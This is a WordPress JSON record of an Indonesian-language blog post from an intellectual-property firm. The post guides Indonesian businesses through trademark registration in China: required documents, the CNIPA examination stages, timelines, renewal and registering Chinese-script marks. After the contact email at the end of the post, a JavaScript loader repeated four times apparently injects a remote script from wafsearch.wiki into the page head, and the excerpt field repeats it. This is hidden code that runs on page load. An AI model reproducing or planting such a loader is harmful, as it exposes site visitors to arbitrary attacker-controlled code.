{"id":5611,"date":"2025-03-22T10:29:09","date_gmt":"2025-03-22T10:29:09","guid":{"rendered":"https:\/\/affa.co.id\/?p=5415"},"modified":"2025-03-22T10:29:09","modified_gmt":"2025-03-22T10:29:09","slug":"panduan-daftar-merek-di-republik-rakyat-tiongkok-untuk-pebisnis-indonesia","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/03\/22\/panduan-daftar-merek-di-republik-rakyat-tiongkok-untuk-pebisnis-indonesia\/","title":{"rendered":"Panduan Daftar Merek di Republik Rakyat Tiongkok Untuk Pebisnis Indonesia"},"content":{"rendered":"<p><span style=\"font-weight: 400\">China atau \u200bRepublik Rakyat Tiongkok (RRT) telah lama menjadi mitra dagang utama bagi Indonesia. Pada tahun 2024, nilai ekspor nonmigas Indonesia ke RRT mencapai USD 60,22 miliar, dengan industri pertanian, tambang, dan manfaktur yang paling banyak diminati.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Lebih spesifik lagi, produk-produk asal Indonesia yang diminati di RRT adalah kelapa sawit, karet, kopi, batu-bara, bijih logam, tekstil, alas kaki, dan produk-produk\u00a0 elektronik.\u200b Apakah bisnis Anda jadi salah satunya?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/affa.co.id\/bhs\/top-10-negara-tujuan-pendaftaran-merek-bagi-pebisnis-indonesia\/\"><b>RRT jadi Negara Nomor 1 Pendaftaran Merek dari Indonesia<\/b><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">China merupakan negara dengan jumlah pendaftaran Merek terbanyak di dunia. Negara ini berkembang sangat pesat sebagai pusat teknologi dan industri. Namun dengan populasi penduduknya yang banyak, banyaknya pendaftaran di sana juga merupakan bentuk pencegahan agar Merek Anda tidak dibajak atau dilanggar. Pendaftaran Merek di China dapat mencegah praktik pabrik-pabrik di sana dalam mendaftarkan Merek terkenal sebelum pemilik aslinya mengajukan permohonan. Oleh karena itu, pendaftaran Merek di China harus menjadi prioritas utama bagi pebisnis yang ingin melindungi produknya dari praktik ini.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Pengertian Merek di RRT<\/b><\/p>\n<p><span style=\"font-weight: 400\">Di RRT, Merek mencakup tanda yang dapat membedakan barang atau jasa, seperti kata, gambar, huruf, angka, kombinasi warna, dan suara. Namun, Merek yang menyesatkan, bertentangan dengan moralitas publik, atau menyerupai lambang negara tidak dapat didaftarkan.\u200b <\/span><b><i>China National Intellectual Property Administration (CNIPA)<\/i><\/b><span style=\"font-weight: 400\"> yang bertindak sebagai badan yang bertanggung jawab atas pendaftaran dan regulasi merek di RRT.\u200b<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Syarat Pendaftaran Merek<\/b><\/p>\n<p><span style=\"font-weight: 400\">Untuk mendaftarkan merek di RRT, diperlukan sejumlah dokumen berikut:\u200b<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Formulir aplikasi yang telah diisi lengkap.\u200b<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Contoh merek yang jelas.\u200b<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Daftar barang atau jasa yang terkait.\u200b<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Informasi identitas pemohon.\u200b<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Surat Kuasa yang diberikan kepada Konsultan Merek<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan memberikan kuasa ke Konsultan Merek yang sudah berpengalaman\u00a0 menangani pendaftaran dan perlindungan Merek di RRT, Anda tidak perlu lagi mengkhawatirkan kelengkapan informasi atau kepatuhan regulasi lainnya yang dapat menyebabkan Merek Anda tidak lolos pemeriksaan adminsitratif, misalnya penggunaan dokumen berbahasa Mandarin. Selain itu, Konsultan Merek juga dapat diandalkan dalam menyampaikan informasi pengajuan pendaftaran Merek Anda dalam setiap prosesnya, termasuk tindakan yang dapat dilakukan untuk memperlancar prosesnya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tahapan Pendaftaran Merek<\/b><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Penelusuran Merek<br \/>\n<\/b><span style=\"font-weight: 400\">Proses yang tujuannya untuk memastikan tidak ada Merek yang sama atau serupa dengan milik Anda ini sebetulnya tidak wajib, namun sangat disarankan agar biaya pendaftaran yang akan Anda keluarkan tidak terbuang sia-sia. Dengan memanfaatkan jasa Konsultan Merek untuk melakukan proses penelusuruan ini, Anda juga akan mendapatkan gambaran akan seberapa besar Merek Anda dapat didaftarkan di RRT,<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Pengajuan Permohonan<br \/>\n<\/b>Aplikasi diajukan ke CNIPA melalui Konsultan dengan dokumen lengkap.\u200b<\/li>\n<li style=\"font-weight: 400\"><b>Pemeriksaan Formalitas<br \/>\n<\/b>Selanjutnya CNIPA akan memeriksa kelengkapan dokumen dalam 7 (tujuh) hari kalender.\u200b<\/li>\n<li style=\"font-weight: 400\"><b>Pemeriksaan Substantif<br \/>\n<\/b>Jika dokumen sudah lengkap, CNIPA akan menilai kesesuaian Merek dengan regulasi yang berlaku, termasuk apakah sudah ada pihak lain yang mengajukan pendaftarannya. Proses ini memakan waktu 1 (satu) bulan saja.\u200b<\/li>\n<li style=\"font-weight: 400\"><b>Publikasi untuk Oposisi<br \/>\n<\/b>Kemudian Merek akan diumumkan di<b> \u201cLembar Merek China\u201d<\/b> untuk memberikan kesempatan selama 3 (tiga) bulan kepada pihal lain untuk mengajukan keberatan jika ada.<\/li>\n<li style=\"font-weight: 400\"><b>Penerbitan Sertifikat<br \/>\n<\/b>Jika tidak ada oposisi, sertifikat dapat diterbitkan.\u200b Namun jika Anda ingin mendapatkan sertifikat berbahasa mandarin, yang dalam hal memberikan lebih banyak keuntungan jika terjadi sengketa hukum di sana,\u00a0 Anda harus mengajukannya secara terpisah, dengan biaya tambahan ke CNIPA. Setelah diajukan, sertifikat ini bisa Anda terima paling cepat 3 (tiga) bulan.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sejak tahun 2019, CNIPA menargetkan keseluruhan proses di atas dapat selesai dalam waktu 6 (enam) hingga 8 (delapan) bulan saja. Namun sejak saat itu terjadi lonjakan sangat besar dalam pengajuan pendaftaran Merek di RRT, sehingga durasi sekitar 12 bulan atau satu tahun saat ini masih dianggap wajar.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Pasca Pendaftaran Merek<\/b><\/p>\n<p><span style=\"font-weight: 400\">Setelah Merek Anda terdaftar, Anda tetap harus memantau kehadiran Merek Anda di pasar RRT, terutama jika ada pihak lain yang menggunakan Merek serupa dengan iktikad tidak baik. Namun jika sebelumnya Anda telah menunjuk Konsultan Merek yang dapat diandalkan, Anda tidak perlu mengkhawatirkan permasalahan ini.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Berikut adalah 3 faktor lain yang juga harus Anda ingat setelah Merek Anda terdaftar:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Gunakan dalam waktu 3 tahun<br \/>\n<\/b><span style=\"font-weight: 400\">Setelah Merek terdaftar, Anda wajib menggunakannya paling lama 3 (tiga) tahun kemudian atau pihak lain dapat mengajukan gugatan penghapusan atas Merek Anda.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Ajukan perpanjangan 1 tahun sebelum berakhir<br \/>\n<\/b>Perpanjangan: Diajukan 12 bulan sebelum masa berlaku 10 tahun berakhir.\u200b<\/li>\n<li style=\"font-weight: 400\"><b>Manfaatkan masa tenggang 6 bulan atau dibatalkan<br \/>\n<\/b>Masa Tenggang: Terdapat masa tenggang 6 bulan setelah masa berlaku habis untuk perpanjangan.\u200b<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Pendaftaran Merek dalam Aksara Mandarin<\/b><\/p>\n<p><span style=\"font-weight: 400\">Walaupun kondisi penegakan hukum Kekayaan Intelektual khususnya Merek di RRT sudah jauh lebih baik, bukan berarti tidak ada pihak lain yang coba-coba melakukan tindakan kriminal dengan meniru Merek Anda, namun dengan bahasa lokal (Mandarin). Untuk itu, kami sarankan Anda juga mendaftarkan Merek Anda dalam aksara Mandarin untuk melindungi transliterasi atau terjemahan Merek Anda. Selain itu, dengan mendaftarkan juga Merek Anda dalam aksara Mandarin, kedekatan Merek Anda dengan konsumen lokal dapat lebih meningkat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Baca juga:<\/i><\/b><\/p>\n<p><a href=\"https:\/\/affa.co.id\/bhs\/prosedur-penghapusan-merek-di-china-bagi-pebisnis-indonesia-apa-saja-yang-dapat-dilakukan\/\"><b><i>Prosedur Penghapusan Merek di China Bagi Pebisnis Indonesia \u2013 Apa Saja yang Dapat Dilakukan?<\/i><\/b><\/a><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait pendaftaran Merek di RRT atau negara lainnya, langsung hubungi kami melalui email <\/b><a href=\"mailto:trademark@affa.co.id\"><b>trademark@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>China atau \u200bRepublik Rakyat Tiongkok (RRT) telah lama menjadi mitra dagang utama bagi Indonesia. Pada tahun 2024, nilai ekspor nonmigas Indonesia ke RRT mencapai USD 60,22 miliar, dengan industri pertanian, tambang, dan manfaktur yang paling banyak diminati. &nbsp; Lebih spesifik lagi, produk-produk asal Indonesia yang diminati di RRT adalah kelapa sawit, karet, kopi, batu-bara, bijih logam, tekstil, alas kaki, dan produk-produk\u00a0 elektronik.\u200b Apakah bisnis Anda jadi salah satunya? &nbsp; RRT jadi Negara Nomor 1 Pendaftaran Merek dari Indonesia &nbsp; China merupakan negara dengan jumlah pendaftaran Merek terbanyak di dunia. Negara ini berkembang sangat pesat sebagai pusat teknologi dan industri. Namun dengan populasi penduduknya yang banyak, banyaknya pendaftaran di sana juga merupakan bentuk pencegahan agar Merek Anda tidak dibajak atau dilanggar. Pendaftaran Merek di China dapat mencegah praktik pabrik-pabrik di sana dalam mendaftarkan Merek terkenal sebelum pemilik aslinya mengajukan permohonan. Oleh karena itu, pendaftaran Merek di China harus menjadi prioritas utama bagi pebisnis yang ingin melindungi produknya dari praktik ini. &nbsp; Pengertian Merek di RRT Di RRT, Merek mencakup tanda yang dapat membedakan barang atau jasa, seperti kata, gambar, huruf, angka, kombinasi warna, dan suara. Namun, Merek yang menyesatkan, bertentangan dengan moralitas publik, atau menyerupai lambang negara tidak dapat didaftarkan.\u200b China National Intellectual Property Administration (CNIPA) yang bertindak sebagai badan yang bertanggung jawab atas pendaftaran dan regulasi merek di RRT.\u200b &nbsp; Syarat Pendaftaran Merek Untuk mendaftarkan merek di RRT, diperlukan sejumlah dokumen berikut:\u200b Formulir aplikasi yang telah diisi lengkap.\u200b Contoh merek yang jelas.\u200b Daftar barang atau jasa yang terkait.\u200b Informasi identitas pemohon.\u200b Surat Kuasa yang diberikan kepada Konsultan Merek &nbsp; Dengan memberikan kuasa ke Konsultan Merek yang sudah berpengalaman\u00a0 menangani pendaftaran dan perlindungan Merek di RRT, Anda tidak perlu lagi mengkhawatirkan kelengkapan informasi atau kepatuhan regulasi lainnya yang dapat menyebabkan Merek Anda tidak lolos pemeriksaan adminsitratif, misalnya penggunaan dokumen berbahasa Mandarin. Selain itu, Konsultan Merek juga dapat diandalkan dalam menyampaikan informasi pengajuan pendaftaran Merek Anda dalam setiap prosesnya, termasuk tindakan yang dapat dilakukan untuk memperlancar prosesnya. &nbsp; Tahapan Pendaftaran Merek Penelusuran Merek Proses yang tujuannya untuk memastikan tidak ada Merek yang sama atau serupa dengan milik Anda ini sebetulnya tidak wajib, namun sangat disarankan agar biaya pendaftaran yang akan Anda keluarkan tidak terbuang sia-sia. Dengan memanfaatkan jasa Konsultan Merek untuk melakukan proses penelusuruan ini, Anda juga akan mendapatkan gambaran akan seberapa besar Merek Anda dapat didaftarkan di RRT, Pengajuan Permohonan Aplikasi diajukan ke CNIPA melalui Konsultan dengan dokumen lengkap.\u200b Pemeriksaan Formalitas Selanjutnya CNIPA akan memeriksa kelengkapan dokumen dalam 7 (tujuh) hari kalender.\u200b Pemeriksaan Substantif Jika dokumen sudah lengkap, CNIPA akan menilai kesesuaian Merek dengan regulasi yang berlaku, termasuk apakah sudah ada pihak lain yang mengajukan pendaftarannya. Proses ini memakan waktu 1 (satu) bulan saja.\u200b Publikasi untuk Oposisi Kemudian Merek akan diumumkan di \u201cLembar Merek China\u201d untuk memberikan kesempatan selama 3 (tiga) bulan kepada pihal lain untuk mengajukan keberatan jika ada. Penerbitan Sertifikat Jika tidak ada oposisi, sertifikat dapat diterbitkan.\u200b Namun jika Anda ingin mendapatkan sertifikat berbahasa mandarin, yang dalam hal memberikan lebih banyak keuntungan jika terjadi sengketa hukum di sana,\u00a0 Anda harus mengajukannya secara terpisah, dengan biaya tambahan ke CNIPA. Setelah diajukan, sertifikat ini bisa Anda terima paling cepat 3 (tiga) bulan. &nbsp; Sejak tahun 2019, CNIPA menargetkan keseluruhan proses di atas dapat selesai dalam waktu 6 (enam) hingga 8 (delapan) bulan saja. Namun sejak saat itu terjadi lonjakan sangat besar dalam pengajuan pendaftaran Merek di RRT, sehingga durasi sekitar 12 bulan atau satu tahun saat ini masih dianggap wajar. &nbsp; Pasca Pendaftaran Merek Setelah Merek Anda terdaftar, Anda tetap harus memantau kehadiran Merek Anda di pasar RRT, terutama jika ada pihak lain yang menggunakan Merek serupa dengan iktikad tidak baik. Namun jika sebelumnya Anda telah menunjuk Konsultan Merek yang dapat diandalkan, Anda tidak perlu mengkhawatirkan permasalahan ini.\u00a0 &nbsp; Berikut adalah 3 faktor lain yang juga harus Anda ingat setelah Merek Anda terdaftar: Gunakan dalam waktu 3 tahun Setelah Merek terdaftar, Anda wajib menggunakannya paling lama 3 (tiga) tahun kemudian atau pihak lain dapat mengajukan gugatan penghapusan atas Merek Anda. Ajukan perpanjangan 1 tahun sebelum berakhir Perpanjangan: Diajukan 12 bulan sebelum masa berlaku 10 tahun berakhir.\u200b Manfaatkan masa tenggang 6 bulan atau dibatalkan Masa Tenggang: Terdapat masa tenggang 6 bulan setelah masa berlaku habis untuk perpanjangan.\u200b &nbsp; Pendaftaran Merek dalam Aksara Mandarin Walaupun kondisi penegakan hukum Kekayaan Intelektual khususnya Merek di RRT sudah jauh lebih baik, bukan berarti tidak ada pihak lain yang coba-coba melakukan tindakan kriminal dengan meniru Merek Anda, namun dengan bahasa lokal (Mandarin). Untuk itu, kami sarankan Anda juga mendaftarkan Merek Anda dalam aksara Mandarin untuk melindungi transliterasi atau terjemahan Merek Anda. Selain itu, dengan mendaftarkan juga Merek Anda dalam aksara Mandarin, kedekatan Merek Anda dengan konsumen lokal dapat lebih meningkat. &nbsp; Baca juga: Prosedur Penghapusan Merek di China Bagi Pebisnis Indonesia \u2013 Apa Saja yang Dapat Dilakukan? Jika Anda membutuhkan informasi lebih lanjut terkait pendaftaran Merek di RRT atau negara lainnya, langsung hubungi kami melalui email trademark@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5986,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[282,298,305,306,307,308,309,310,314,315,316,317,318,457,458],"class_list":["post-5611","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-daftar-merek","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-paspor-global-merek-indonesia","tag-timing-is-everything","tag-trademark","tag-china","tag-tiongkok"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5611","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5611"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5611\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5986"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5611"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}